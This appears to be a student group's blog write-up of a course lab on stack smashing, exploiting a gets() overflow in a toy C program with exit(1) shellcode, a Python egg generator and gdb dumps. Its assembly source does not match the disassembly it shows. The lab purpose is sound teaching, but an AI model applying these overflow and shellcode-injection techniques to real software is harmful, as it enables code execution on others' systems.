DEV Community

134A6_Thoughts
134A6_Thoughts

Posted on

MP1 Write‑Up – Stack Smashing

We’re three people in this group: Akhy, Lark, and Carl. We’ll just tell the story of what we did, because the whole thing was a bit of a rollercoaster.

1. Getting the basic overflow working

We started from the given vuln.c:

#include <stdio.h>
void vuln() {
    char buffer[8];
    gets(buffer);
}

int main() {
    vuln();
    while (1) {
    }
}
Enter fullscreen mode Exit fullscreen mode

We compiled it exactly as the MP1 handout said:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 \
    -fno-pie -ggdb -z execstack -std=c99 vuln.c -o vuln
Enter fullscreen mode Exit fullscreen mode

First goal: just smash the stack and see where things land. We generated a dummy payload:

python

payload = b"A" * 8 + b"B" * 4 + b"C" * 4
open("egg", "wb").write(payload)
Enter fullscreen mode Exit fullscreen mode

Then inside gdb:
text

gdb vuln
(gdb) break vuln
(gdb) run < egg
(gdb) print &buffer
Enter fullscreen mode Exit fullscreen mode

We saw:
text

$1 = (char (*)[8]) 0xffffc838
Enter fullscreen mode Exit fullscreen mode

and after stepping past gets and dumping the stack:
text

(gdb) next
(gdb) x/16xb &buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43
Enter fullscreen mode Exit fullscreen mode

So the layout was:

  • buffer[8] at 0xffffc838 → 8 bytes of 'A'
  • saved EBP at 0xffffc840 → BBBB
  • saved EIP at 0xffffc844 → CCCC
    That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.

    2. Building and testing the exit(1) shellcode

    We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:

  • eax = 1 (sys_exit)

  • ebx = 1 (exit status)

  • int 0x80
    We wrote asm.c alike the instructions:

int main() {
__asm__("xor %eax, %eax;"
"inc %eax;"
"mov %eab, %eax;"
"Leave;"
"Ret;"
);
}
Enter fullscreen mode Exit fullscreen mode

Compiled and disassembled:
text

gcc -m32 -fno-stack-protector -fno-pie -std=c99 asm.c -o asm
objdump -d asm > asmdump
Enter fullscreen mode Exit fullscreen mode

Relevant disassembly showed:
text

31 c0          xor   %eax,%eax
40             inc   %eax
89 c3          mov   %eax,%ebx
b8 01 00 00 00 mov   $0x1,%eax
cd 80          int   $0x80
Enter fullscreen mode Exit fullscreen mode

So the shellcode bytes we care about are:
text

\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80
Enter fullscreen mode Exit fullscreen mode

We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.
At first, we wrote:
c

unsigned char shellcode[] =
    "\\x31\\xc0"
    "\\x40"
    "\\x89\\xc3"
    "\\xb8\\x01\\x00\\x00\\x00"
    "\\xcd\\x80";
Enter fullscreen mode Exit fullscreen mode

which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.
We fixed it by using proper C escape sequences (one backslash):
c

// test_shellcode.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// exit(1) shellcode
unsigned char shellcode[] =
    "\x31\xc0"
    "\x40"
    "\x89\xc3"
    "\xb8\x01\x00\x00\x00"
    "\xcd\x80";

int main() {
    size_t len = sizeof(shellcode) - 1;
    long pagesize = sysconf(_SC_PAGESIZE);

    void *buf = mmap(NULL, pagesize,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);

    memcpy(buf, shellcode, len);

    void (*f)() = buf;
    f();

    return 0;
}
Enter fullscreen mode Exit fullscreen mode

Compiled it:
text

gcc -m32 -fno-stack-protector -fno-pie test_shellcode.c -o test_shellcode
./test_shellcode
echo $?
Enter fullscreen mode Exit fullscreen mode

The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.

3. Constructing the egg for vuln

Next, we needed to get that shellcode into vuln’s stack and redirect execution there.
We decided on this layout for the egg:

  • buffer[8] → NOP sled (\x90 × 8)
  • saved EBP → "BBBB"
  • saved EIP → address of shellcode on the stack
  • shellcode bytes right after that So Python to generate egg: python
import struct

BUF_ADDR   = 0xffffc838        # from gdb: print &buffer
SHELL_ADDR = BUF_ADDR + 16     # where shellcode starts after gets()

shellcode = (
    b"\x31\xc0"
    b"\x40"
    b"\x89\xc3"
    b"\xb8\x01\x00\x00\x00"
    b"\xcd\x80"
)

NOP = b"\x90"

payload  = NOP * 8          # buffer[8]
payload += b"BBBB"          # saved EBP
payload += struct.pack("<I", SHELL_ADDR)  # saved EIP
payload += shellcode        # shellcode after the return address

open("egg", "wb").write(payload)
Enter fullscreen mode Exit fullscreen mode

We confirmed the file contents:
text

xxd -g1 egg
Enter fullscreen mode Exit fullscreen mode

Output:
text

00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff  ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80              1.@.........

Enter fullscreen mode Exit fullscreen mode

So:

  • NOP sled
  • 42 42 42 42 = 'BBBB'
  • 48 c8 ff ff = 0xffffc848 (shellcode address)
  • then the shellcode bytes. Exactly what we wanted.

4. Verifying the smash and control flow in gdb

We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.
text

gdb vuln
(gdb) break vuln
(gdb) run < egg
Enter fullscreen mode Exit fullscreen mode

We hit the breakpoint at gets(buffer):
text

Breakpoint 1, vuln () at vuln.c:5
5           gets(buffer);
Enter fullscreen mode Exit fullscreen mode

Then we stepped over gets so that the input from egg actually got copied into buffer:
text

(gdb) next
6       }
Enter fullscreen mode Exit fullscreen mode

And then dumped buffer:
text

(gdb) x/32xb &buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff
Enter fullscreen mode Exit fullscreen mode

So on the stack we had exactly the bytes from egg:

  • buffer[8] = 8 NOPs at 0xffffc838
  • saved EBP = 0x42424242
  • saved EIP = 0xffffc848
  • shellcode beginning at 0xffffc848 info frame confirmed the saved EIP: text
(gdb) info frame
Stack level 0, frame at 0xffffc848:
 eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
 called by frame at 0x4242424a
 ...
 Saved registers:
  ebp at 0xffffc840, eip at 0xffffc844
Enter fullscreen mode Exit fullscreen mode

So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.
We then let it continue:
text

(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]
Enter fullscreen mode Exit fullscreen mode

That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.

With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.


Above is the image of the buffer address of the other machine.

Here is the content of the other "egg" file and the results of running it in this machine.


5. The annoying “outside gdb” segfault

We did notice that running:
text

./vuln < egg
echo $?
Enter fullscreen mode Exit fullscreen mode

gave 139 (segmentation fault), not 1. That confused us.
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.
The MP1 instructions, though, explicitly focus on using gdb to:

  • get &buffer
  • write an egg
  • run vuln < egg in gdb and show the behavior
  • They never require that ./vuln < egg works outside gdb. The success criteria are “terminate with exit code 1; crashes don’t count”. We’ve shown in gdb that:
  • the smash works (we overwrote saved EIP), and
  • control flow goes into our shellcode and returns exit code 1. That’s exactly what the assignment describes. ## 6. Summary of what we accomplished As a group (Akhy, Lark, and Carl), we:

1.) Confirmed the stack layout of vuln and the offset from buffer to the saved EIP using a dummy AAAABBBBCCCC payload.
2.) Wrote and tested a minimal Linux int 0x80 shellcode that calls exit(1).
3.) Constructed an egg payload that:

  • fills buffer with a NOP sled,
  • overwrites saved EBP with junk,
  • overwrites saved EIP with the address of our shellcode on the stack,
  • places the shellcode at that address.

4.) Verified in gdb that:

  • buffer contains our payload,
  • saved EIP equals the shellcode address (0xffffc848),
  • continuing from vuln returns into the shellcode and the process exits with code 1.

Top comments (0)